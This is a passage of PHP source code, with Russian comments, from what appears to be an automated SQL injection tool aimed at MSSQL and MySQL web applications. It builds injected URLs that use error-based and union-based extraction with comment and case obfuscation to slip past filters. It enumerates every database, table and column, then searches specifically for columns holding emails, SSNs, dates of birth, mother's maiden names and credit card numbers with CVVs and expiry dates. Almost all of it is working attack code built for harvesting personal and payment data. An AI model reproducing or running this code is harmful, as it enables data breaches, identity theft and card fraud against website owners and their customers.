for($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t\t{\n\t\t\t\tif($col==1){$zap='';}else{$zap=',';}//запятая\n\t\t\t\n\t\t\t\tif(in_array($col, $this-\u003ework) AND $give==0)\n\t\t\t\t{\n\n\t\t\t\t\t$p = $col-1;\n\n\t\t\t\t\t$give++;\n\t\t\t\t\t\n\t\t\t\t\t//$query .= $zap.\"CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\";\n\t\t\t\t\t\n\t\t\t\t\t$query_mssql .= $zap.\"$zapr_mssql\";\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\tif($order!==array() AND count($pole)\u003e1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$query_mssql .= $zap.\"\".$order[0];\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\t$query_mssql .= $zap.$col;\t\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t//if($this-\u003edebug==true){$this-\u003ed($query_mssql,'$query_mssql');}\n\t\t\t\n\t\n\t\t\t//if($order!==array() AND count($pole)\u003e1)\n\t\t\t//{\n\t\t\t\t//$order = '+order+by+`'.$order[0].'`+'.$order[1].'+';\n\t\t\t//}else\n\t\t\t//{\n\t\t\t//\t$order = '';\n\t\t\t//}\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\tif($this-\u003edesc ==0 AND $this-\u003edesc_enable == true)\n\t\t\t\t{\n\t\t\t\t\t$order = 'ORDER by id DESC';\n \t\t\t\t\t\n\t\t\t\t\t//$url1 = $this-\u003eurl.$query.'+'.$from.'+'.$where.'+'.$order.'+limit+'.$limit.''.$k;\n\t\t\t\t\t\n\t\t\t\t\t$url1_mssql = $this-\u003eurl.$query_mssql.$k;\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t//$url1 = $this-\u003eurl.$query.'+'.$from.'+'.$where.'+'.$order.'+limit+'.$limit.'';\n\t\t\t\t\t\n\t\t\t\t\t$url1_mssql = $this-\u003eurl.$query_mssql.$k;\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$url1 = str_replace(',,', ',',$url1);\n\t\t\t\t$url1 = str_replace('++', '+',$url1);\n\t\t\t\t$url1 = str_replace('+++','+',$url1);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($url1_mssql,'$url1_mssql полный MSSQLGetValue');}\n\t\t\t\t\n\t\t\t\t$url1 = $url1_mssql;\n\t\t\t\t\n\t\t\t\t$file = $this-\u003egetContents($url1);\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($file,'$file');\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003emssql==true){\n\t\t\t\t\tfile_put_contents('./file_mssql.txt',$file);\n\n\t\t\t\t}elseif($this-\u003epost_enable==true){\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file_post.txt',$file);\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file.txt',$file);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($file,'file');\n\t\t\t\t//exit;\n\t\t\t\t\n\t\t\t\t//ищем результаты\t\n\t\t\t\tif(count($pole)==1) //если он один предполагается\n\t\t\t\t{\n\t\t \t\t\n\t\t\t\t\tpreg_match_all(\"~\\[X\\](.*?)\\[XX\\]~is\",$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//$this-\u003ed($arr,'arr ONE');\n\t\t\t\t\t\n\t\t\t\t\t\n\n\t\t\t\t\tif(isset($arr[1][0]))return array($pole[0]=\u003e$arr[1][0]);\n\t\t\t\t\t\n\t\t\t\t\treturn false;\n\t\t \t\t\n\t\t\t\t}else//если не сколько полей было\n\t\t\t\t{\n\t\t \t\t\t\t\n\t\t\t\t\tforeach ($pole as $val)\n\t\t\t\t\t{\n\t\t\t \t\n\t\t\t\t\t\tpreg_match_all(\"~\\[{$val}\\](.*?)\\[{$val}\\]~iS\",$file,$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed(\"~\\[{$val}\\](.*?)\\[{$val}\\]~iS\",'reg ALL');\n\t\t\t\t\t\t$this-\u003ed($arr,'arrA_LLL');\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\tif(isset($arr[1][0]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = $arr[1][0];\n\t\t\t\t\t\t}else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = 'null';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\tif(preg_match('/is not able to access the database/i',$file)){\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ebad_body=$this-\u003ebad_body+1;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif(isset($export))\n\t\t\t{\t\n\t\t\t\treturn $export;\n\t\t\t}\n\t\t\t\n\t\t\treturn false;\n\t\t\n\t\t\n\t}\n\t\n\tfunction mssqlGetError($pole){//дочерняя\n\t\t\n\t\t$string['']  = \"+and+1=convert(int,($pole))\";\n\t\t\n\t\t\n\t\t$sp = 0;\n\t\t\n\t\t\n\t\t\n\t\tforeach ($string as $key=\u003e $val)\n\t\t{\n\t\t\t\n\t\t\t$str1 = $this-\u003egetContents($this-\u003eurl.$val);\n\t\t\t\n\t\t\t$this-\u003ed($this-\u003eurl.$val,'$this-\u003eurl.$val');\n\t\t\t$this-\u003ed($str1,'$str1');\n\t\t\t//exit;\n\t\t\t\n\t\t\tif($str1 !=''){\n\t\t\t\n\t\t\t\tpreg_match(\"~value \\'(.*)\\' to data type int~is\",$str1,$arr);\n\t\t\t\t$this-\u003ed($arr,'$arr');\n\t\t\t\treturn array($pole=\u003e$arr[1]);\n\t\t\t\t//return $data[\"$pole\"] = $arr[1];\n\t\t\n\t\t\t\t\n\t\t\t//$sp++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t\t/**\t\n\t\tif(is_array($pole)){\n\t\t\t\n\t\t\t\n\t\t\tforeach ($pole as $val){\n\n\t\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+distinct+concat%280x7e%2C0x27%2C'.$val.'%2C0x27%2C0x7e%29+'.$from.'+'.$where.'+LIMIT+'.$limit.'%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+'.$this-\u003eget_by_error.'1'.$this-\u003eget_by_error.'%3D'.$this-\u003eget_by_error.'1';\n\n\t\t\t//\techo $url.'\u003cbr/\u003e';\n\t\t\t\t\n\t\t\t\t$file = $this-\u003egetContents($url);\n\t\t\n\t\t\t\tpreg_match_all(\"~\\'(.*?)\\' for key~\",$file,$arr);\n\t\t\n\t\t\t\t$arr[1][0] = str_replace(\"'~1\",'',$arr[1][0]);\n\t\t\t\t//$this-\u003ed($arr,'$arr 1');\n\t\t\t\t$new[$val] = $arr[1][0];\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\treturn $new;\n\t\t\t\n\t\t}else\n\t\t{\n\n\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+distinct+concat%28'.$pole.'%2C0x27%2C0x7e%29+'.$from.'+'.$where.'+LIMIT+'.$limit.'%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+'.$this-\u003eget_by_error.'1'.$this-\u003eget_by_error.'%3D'.$this-\u003eget_by_error.'1';\n\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t//echo $file;\n\t\t\n\t\t\tpreg_match_all(\"~\\'(.*?)\\' for key~\",$file,$arr);\n\t\t\t$arr[1][0] = str_replace(\"'~1\",'',$arr[1][0]);\n\t\t\t\n\t\t\t//$this-\u003ed($arr,'$arr 2');\n\t\t\treturn array($pole=\u003e$arr[1][0]);\n\t\t\t\n\t\t}\t\n**/\n\t\treturn false;\n\t}\n\t\n\t////////////////////////////////////////////////////////////////\t\n\t/////////Функции определения конкретных параметров для MSSQL////\n\t////////////////////////////////////////////////////////////////\n\t\n\t\n\t\n\t\n\t\n\tfunction mssqlGetLikeEmail(){//поиск всех мыл во всех БД\n\t\t\n\t\t$this-\u003emssqlGetDatabase();\n\t\t$this-\u003ed($this-\u003edatabase,'database');\n\t\t\n\t\t//$bd = $this-\u003edatabase;\n\t\t\n\t\t\n\t\t$bds = $this-\u003emssqlGetAllBd();\n\t\t\n\t\t$this-\u003ed($bds,'$bds all');\n\t\t\n\t\t\n\t\tif(count($bds)==0 or $bds =='')return false;\n\t\t\n\t\t\n\t\tforeach($bds as $bd)\n\t\t{\n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\t\tif(trim($bd) == 'master')continue;\n\t\t\t\n\t\t\tif(trim($bd) == 'tempdb')continue;\n\t\t\t\n\t\t\tif(trim($bd) == 'model')continue;\n\t\t\t\n\t\t\tif(trim($bd) == 'msdb')continue;\n\t\t\t\n\t\t\tif(trim($bd) == 'distribution')continue;\n\t\t\t\n\t\t\tif(trim($bd) == 'ReportServer')continue;\n\t\t\t\n\t\t\tif(trim($bd) == 'ReportServerTempDB')continue;\n\t\t\n\t\t\t$this-\u003ed($bd,'################ BD ###############');\n\t\t\t\n\t\t\t$mail = $this-\u003echarcher_mssql('%mail%');\n\t\t\t\n\t\t\t\n\t\t\t// /**/COLLATE DATABASE_DEFAULT  \n\t\t\t$count = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/cAsT(count(t.name) as char) as x /**/fRoM [\".$bd.\"]..[sysobjects] t join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail)\");\n\t\t\t\n\t\t\t$count = $count[\"(/**/sElEcT /**/cAsT(count(t.name) as char) as x /**/fRoM [\".$bd.\"]..[sysobjects] t join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail)\"];\n\t\t\t\n\t\t\tif(empty($count))$count = 0;\n\t\t\t\tif($count==0){\n\t\t\t\t\t$this-\u003ed($bd,' CONTINUE  - '.$pps);\n\t\t\t\t\tcontinue 1;}\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tfor ($i=0;$i\u003c$count;$i++)\n\t\t\t{\n\t\t\t\t$table = $this-\u003emssqlGetValue(\"(/**/sElEcT top 1 x /**/fRoM (/**/sElEcT /**/dIsTiNcT top $i (t.name) as x /**/fRoM [\".$bd.\"]..[sysobjects] t FULL OUTER join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail order by x asc) sq order by x desc)\");\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(count($table) !=0 AND $table !='')\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$table_one = $table[\"(/**/sElEcT top 1 x /**/fRoM (/**/sElEcT /**/dIsTiNcT top $i (t.name) as x /**/fRoM [\".$bd.\"]..[sysobjects] t FULL OUTER join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail order by x asc) sq order by x desc)\"];\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$column = $this-\u003emssqlGetColumnsEmail($bd,$table_one);\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ed($column,$bd.':::'.$table_one);\n\t\t\t\t\t\n\t\t\t\t\tif(count($column) !=0 AND $column !='')\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t$mssql[$bd.':::'.$table_one.':::'.$column] = $bd.':::'.$table_one.':::'.$column;\n\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t//break;\n\t\t}\t\n\t\t\t\n\t\n\t\t$mssql  = array_unique($mssql);\n\t\t\n\t\t//$this-\u003ed($mssql,'$mssql-tables');\n\t\t\n\t\treturn $mssql;\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\tfunction mssqlGetColumnsEmail($bd,$table){//Поиск колонки с мылами\n\t\t\n\t\t\n\t\t\t\n\t\t$mail = $this-\u003echarcher_mssql('%mail%');\n\t\t$table_new = $this-\u003echarcher_mssql($table);\n\t\t\n\t\t\n\t\t$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 column_name from (select distinct top 1 column_name from $bd.information_schema.columns where table_name ={$table_new} AND column_name like $mail order BY column_name  ASC) sq order BY column_name ASC)\");\n\t\t\n\n\t\t\n\t\treturn $qq[\"(/**/sElEcT /**/dIsTiNcT top 1 column_name from (select distinct top 1 column_name from $bd.information_schema.columns where table_name ={$table_new} AND column_name like $mail order BY column_name  ASC) sq order BY column_name ASC)\"];\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\t\n\tfunction mssqlGetLikeSsn(){//поиск всех snn во всех БД\n\t\t\n\t\t//$this-\u003emssqlGetDatabase();\n\t\t\n\t\t\n\t\t$bds = $this-\u003emssqlGetAllBd();\n\t\t\n\t\t$this-\u003ed($bds,'$bds all');\n\t\t\n\t\t\n\t\tif(count($bds)==0 or $bds =='')return false;\n\t\t\n\t\t\n\t\t\n\t\t$pass = array(\n\t\t'ssn',\n\t\t'dob',\n\t\t'social_security_number',\n\t\t'social-security-number',\n\t\t'socialsecuritynumber',\n\t\t'mmn');\n\t\t\n\t\t//$this-\u003ed($pass);\n\t\t\n\t\t\n\t\tforeach ($pass as $pps)\n\t\t{\n\t\t\t//$this-\u003ed($pps,'$pps');\n\t\t\n\t\t\t$mail = $this-\u003echarcher_mssql(\"%$pps%\");\n\t\t\t\n\t\t\tforeach($bds as $bd)\n\t\t\t{\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\tif(trim($bd) == 'master')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'tempdb')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'model')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'msdb')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'distribution')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'ReportServer')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'ReportServerTempDB')continue;\n\t\t\t\n\t\t\t\t$this-\u003ed($bd,'################ BD ############### - '.$pps);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t// /**/COLLATE DATABASE_DEFAULT  \n\t\t\t\t$count = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/cAsT(count(t.name) as char) as x /**/fRoM [\".$bd.\"]..[sysobjects] t join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail)\");\n\t\t\t\t\n\t\t\t\t$count = $count[\"(/**/sElEcT /**/cAsT(count(t.name) as char) as x /**/fRoM [\".$bd.\"]..[sysobjects] t join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail)\"];\n\t\t\t\t\n\t\t\t\tif($this-\u003ebad_body == 30){\n\t\t\t\t\t$this-\u003ed('$this-\u003ebad_body = 30');\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(empty($count))$count = 0;\n\t\t\t\tif($count==0){\n\t\t\t\t\t$this-\u003ed($bd,' CONTINUE  - '.$pps);\n\t\t\t\t\tcontinue 1;}\n\t\t\t\t\n\t\t\t\t//$count = $count+1;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$this-\u003ed($count,$bd.'-'.$pps);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tfor ($i=0;$i\u003c$count;$i++)\n\t\t\t\t{\n\t\t\t\t\t$table = $this-\u003emssqlGetValue(\"(/**/sElEcT top 1 x /**/fRoM (/**/sElEcT /**/dIsTiNcT top $i (t.name) as x /**/fRoM [\".$bd.\"]..[sysobjects] t FULL OUTER join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail order by x asc) sq order by x desc)\");\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif(count($table) !=0 AND $table !='')\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t$table_one = $table[\"(/**/sElEcT top 1 x /**/fRoM (/**/sElEcT /**/dIsTiNcT top $i (t.name) as x /**/fRoM [\".$bd.\"]..[sysobjects] t FULL OUTER join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail order by x asc) sq order by x desc)\"];\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t$column = $this-\u003emssqlGetColumnSsn($bd,$table_one,$mail);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this-\u003ed($column,$bd.':::'.$table_one);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($column) !=0 AND $column !='')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$mssql[$bd.':::'.$table_one.':::'.$column] = $bd.':::'.$table_one.':::'.$column;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//break;\n\t\t\t}\t\n\t\t\t\t\n\t\t}\n\t\t$mssql  = array_unique($mssql);\n\t\t\n\t\t//$this-\u003ed($mssql,'$mssql-tables');\n\t\t\n\t\treturn $mssql;\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\tfunction mssqlGetColumnSsn($bd,$table,$like){//Поиск колонки с snn\n\t\t\n\t\t\n\t\t\t\n\t\t$mail = $this-\u003echarcher_mssql(\"%$like%\");\n\t\t$table_new = $this-\u003echarcher_mssql($table);\n\t\t\n\t\t\n\t\t$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 column_name from (select distinct top 1 column_name from $bd.information_schema.columns where table_name ={$table_new} AND column_name like $mail order BY column_name  ASC) sq order BY column_name ASC)\");\n\t\t\n\n\t\t\n\t\treturn $qq[\"(/**/sElEcT /**/dIsTiNcT top 1 column_name from (select distinct top 1 column_name from $bd.information_schema.columns where table_name ={$table_new} AND column_name like $mail order BY column_name  ASC) sq order BY column_name ASC)\"];\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\t\n\tfunction mssqlGetLikeOrders(){//поиск всех колонок с картами во всех БД\n\t\t\n\t\t//$this-\u003emssqlGetDatabase();\n\t\t//$this-\u003ed($this-\u003edatabase,'database');\n\t\t\n\t\t//$bd = $this-\u003edatabase;\n\t\t\n\t\t\n\t\t$bds = $this-\u003emssqlGetAllBd();\n\t\t\n\t\t$this-\u003ed($bds,'$bds all');\n\t\t\n\t\t\n\t\tif(count($bds)==0 or $bds =='')return false;\n\t\t\n\t\t$pass = array(\n\t\t'cvv',\n\t\t'_card',\n\t\t'cvc',\n\t\t'card_num',\n\t\t'card num',\n\t\t'card_ccv',\n\t\t'credit_card',\n\t\t'card_number',\n\t\t'cccode',\n\t\t'expiration',\n\t\t'card_ccv',\n\t\t'cc_code',\n\t\t'cc_holder',\n\t\t'cc_type',\n\t\t'card_exp',\n\t\t'exp_card',\n\t\t'exp_year',\n\t\t'card_exp',\n\t\t'numcc',\n\t\t'ccnum',\n\t\t'cc_num',\n\t\t'cc num',\n\t\t'num_cc',\n\t\t'number_cc',\n\t\t'numbers_cc',\n\t\t'creditcard'\n\t\t);\n\t\t\n\t\t$this-\u003ed($pass);\n\t\t\n\t\t\n\t\tforeach ($pass as $pps)\n\t\t{\n\t\t\t$pss = trim($pps);\n\t\t\n\t\t\t$mail = $this-\u003echarcher_mssql(\"%$pps%\");\n\t\t\t\n\t\t\tforeach($bds as $bd)\n\t\t\t{\n\t\t\t\n\t\t\t\n\t\t\t\t//$this-\u003ed($bd,'################ BD ###############');\n\t\t\t\n\t\t\t\tif(trim($bd) == 'master')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'tempdb')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'model')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'msdb')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'distribution')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'ReportServer')continue;\n\t\t\t\t\n\t\t\t\tif(trim($bd) == 'ReportServerTempDB')continue;\n\t\t\t\n\t\t\t\n\t\t\t\t$this-\u003ed($bd,'################ BD ############### - '.$pps);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t// /**/COLLATE DATABASE_DEFAULT  \n\t\t\t\t$count = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/cAsT(count(t.name) as char) as x /**/fRoM [\".$bd.\"]..[sysobjects] t join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail)\");\n\t\t\t\t\n\t\t\t\t$count = $count[\"(/**/sElEcT /**/cAsT(count(t.name) as char) as x /**/fRoM [\".$bd.\"]..[sysobjects] t join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail)\"];\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003ebad_body == 30){\n\t\t\t\t\t$this-\u003ed('$this-\u003ebad_body = 30');\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tif(empty($count))$count = 0;\n\t\t\t\t\tif($count==0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003ed($bd,' CONTINUE  - '.$pps);\n\t\t\t\t\t\tcontinue 1;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tfor ($i=0;$i\u003c$count;$i++)\n\t\t\t\t{\n\t\t\t\t\t$table = $this-\u003emssqlGetValue(\"(/**/sElEcT top 1 x /**/fRoM (/**/sElEcT /**/dIsTiNcT top $i (t.name) as x /**/fRoM [\".$bd.\"]..[sysobjects] t FULL OUTER join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail order by x asc) sq order by x desc)\");\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif(count($table) !=0 AND $table !='')\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t$table_one = $table[\"(/**/sElEcT top 1 x /**/fRoM (/**/sElEcT /**/dIsTiNcT top $i (t.name) as x /**/fRoM [\".$bd.\"]..[sysobjects] t FULL OUTER join [syscolumns] as c on t.id = c.id /**/wHeRe t.xtype = char(85) and c.name like $mail order by x asc) sq order by x desc)\"];\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t$column = $this-\u003emssqlGetColumnOrsers($bd,$table_one,$mail);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this-\u003ed($column,$bd.':::'.$table_one);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($column) !=0 AND $column !='')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$mssql[$bd.':::'.$table_one.':::'.$column] = $bd.':::'.$table_one.':::'.$column;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t//break;\t\t\t\n\t\t}\t\t\n\t\n\t\t$mssql  = array_unique($mssql);\n\t\t\n\t\t//$this-\u003ed($mssql,'$mssql-tables');\n\t\t\n\t\treturn $mssql;\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\tfunction mssqlGetColumnOrsers($bd,$table,$like){//Поиск колонки с картой\n\t\t\n\t\t\n\t\t\t\n\t\t$mail = $this-\u003echarcher_mssql(\"%$like%\");\n\t\t$table_new = $this-\u003echarcher_mssql($table);\n\t\t\n\t\t\n\t\t$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 column_name from (select distinct top 1 column_name from $bd.information_schema.columns where table_name ={$table_new} AND column_name like $mail order BY column_name  ASC) sq order BY column_name ASC)\");\n\t\t\n\n\t\t\n\t\treturn $qq[\"(/**/sElEcT /**/dIsTiNcT top 1 column_name from (select distinct top 1 column_name from $bd.information_schema.columns where table_name ={$table_new} AND column_name like $mail order BY column_name  ASC) sq order BY column_name ASC)\"];\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\t////\n\t\n\t\n\tfunction mssqlGetCount($bd,$table){// получение количества СТРОК у ТАБЛИЦЫ из определеной БД\n\t\t\n\t\t\n\t\t$mssql = $this-\u003emssqlGetValue(\"(/**/sElEcT top 1 /**/cAsT(count(*) as char) /**/fRoM [{$bd}]..[{$table}])\");\t\n\t\treturn $mssql[\"(/**/sElEcT top 1 /**/cAsT(count(*) as char) /**/fRoM [{$bd}]..[{$table}])\"];\n\t}\n\t\n\tfunction mssqlGetColumns($bd,$table){//получение всех колонок у кокретной БД и ТАБЛИЦЫ\n\t\t\n\t\t$table_new = $this-\u003echarcher_mssql($table);\n\t\t\t\n\t\t\n\t\t$mssql_count = $this-\u003emssqlGetValue(\"(/**/sElEcT top 1 /**/cAsT(count(*) as char) /**/fRoM [$bd]..[syscolumns] /**/wHeRe id=(/**/sElEcT id /**/fRoM [$bd]..[sysobjects] /**/wHeRe [name]={$table_new}))\");\t\n\t\t\n\t\t\n\t\t$count = $mssql_count[\"(/**/sElEcT top 1 /**/cAsT(count(*) as char) /**/fRoM [$bd]..[syscolumns] /**/wHeRe id=(/**/sElEcT id /**/fRoM [$bd]..[sysobjects] /**/wHeRe [name]={$table_new}))\"]; \n\t\t\n\t\t$this-\u003ed($count,'$mssql count tables!!');\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tfor ($i=0;$i\u003c$count;$i++)\n\t\t{\n\t\t\t\n\t\t\t$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar) /**/fRoM [$bd]..[syscolumns] /**/wHeRe id=(/**/sElEcT id /**/fRoM [$bd]..[sysobjects] /**/wHeRe [name]=$table_new) and [name] not in (/**/sElEcT /**/dIsTiNcT top $i [name] /**/fRoM [$bd]..[syscolumns] /**/wHeRe id=(/**/sElEcT top 1 id /**/fRoM [$bd]..[sysobjects] /**/wHeRe [name]=$table_new)))\");\n\t\t\t\n\t\t\t$mssql[] = $qq[\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar) /**/fRoM [$bd]..[syscolumns] /**/wHeRe id=(/**/sElEcT id /**/fRoM [$bd]..[sysobjects] /**/wHeRe [name]=$table_new) and [name] not in (/**/sElEcT /**/dIsTiNcT top $i [name] /**/fRoM [$bd]..[syscolumns] /**/wHeRe id=(/**/sElEcT top 1 id /**/fRoM [$bd]..[sysobjects] /**/wHeRe [name]=$table_new)))\"];\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\treturn $mssql;\n\t\t\n\t\t\n\t}\n\t\n\tfunction mssqlGetAllTables($bd){//получение ВСЕХ ТАБЛИЦ у конкретной БД\n\t\t\n\t\t\n\t\t\n\t\t$mssql = $this-\u003emssqlGetValue(\"(/**/sElEcT top 1 /**/cAsT(count(*) as char) /**/fRoM [{$bd}]..[sysobjects] /**/wHeRe xtype=char(85))\");\t\n\t\t$count =  $mssql[\"(/**/sElEcT top 1 /**/cAsT(count(*) as char) /**/fRoM [{$bd}]..[sysobjects] /**/wHeRe xtype=char(85))\"];\n\t\t\n\t\t\n\t\t$table = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar) /**/fRoM [{$bd}]..[sysobjects] /**/wHeRe id=(/**/sElEcT top 1 id /**/fRoM (/**/sElEcT /**/dIsTiNcT top 1 id /**/fRoM [{$bd}]..[sysobjects] /**/wHeRe xtype=char(85) order BY id ASC) sq order BY id DESC))\");\n\t\t\n\t\t$this-\u003ed($table,'$table_ONE');\n\t\t//$count = 5;\n\t\t\n\t\n\t\t\n\t\tfor ($i=2;$i\u003c$count;$i++)\n\t\t{\n\t\t\t\n\t\t\t$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar) /**/fRoM [{$bd}]..[sysobjects] /**/wHeRe id=(/**/sElEcT top 1 id /**/fRoM (/**/sElEcT /**/dIsTiNcT top {$i} id /**/fRoM [{$bd}]..[sysobjects] /**/wHeRe xtype=char(85) order BY id ASC) sq order BY id DESC))\");\n\t\t\t\n\t\t\t$mssql[] = $qq[\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar) /**/fRoM [{$bd}]..[sysobjects] /**/wHeRe id=(/**/sElEcT top 1 id /**/fRoM (/**/sElEcT /**/dIsTiNcT top {$i} id /**/fRoM 